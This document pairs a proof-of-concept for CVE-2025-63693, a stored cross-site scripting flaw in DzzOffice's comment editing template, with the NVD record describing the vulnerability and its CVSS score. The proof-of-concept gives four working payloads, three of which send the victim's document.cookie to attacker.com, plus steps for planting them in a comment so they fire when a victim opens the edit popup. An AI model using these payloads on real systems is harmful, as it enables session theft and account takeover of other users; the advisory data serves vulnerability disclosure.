CVE-2025-63693

<!-- PoC for CVE-2025-63693 DzzOffice XSS --> <!-- Attack Vector: Stored XSS via comment editing template --> <!-- Method 1: Script tag injection --> <script>alert('XSS CVE-2025-63693')</script> <!-- Method 2: Event handler injection --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: JavaScript URI in anchor --> <a href="javascript:fetch('https://attacker.com/log?data='+btoa(document.cookie))">Click me</a> <!-- Method 4: SVG-based injection --> <svg/onload=fetch('https://attacker.com/cookie?c='+encodeURIComponent(document.cookie))> <!-- Exploitation Steps: --> <!-- 1. Create/edit a comment with above payload --> <!-- 2. Wait for victim to open the edit popup --> <!-- 3. Payload executes in victim's browser context -->

{"cve": {"id": "CVE-2025-63693", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.983", "lastModified": "2025-11-20T20:07:18.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The comment editing template (dzz/comment/template/edit_form.htm) in DzzOffice 2.3.x lacks adequate security escaping for user-controllable data in multiple contexts, including HTML and JavaScript strings. This allows low-privilege attackers to construct comment content or request parameters and execute arbitrary JavaScript code when the victim opens the editing pop-up."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.7", "matchCriteriaId": "0B33512C-5E3C-4DBE-908D-DF7E4F784FD4"}]}]}], "references": [{"url": "https://github.com/Yohane-Mashiro/dzzoffice_xss", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/zyx0814/dzzoffice/issues/363", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}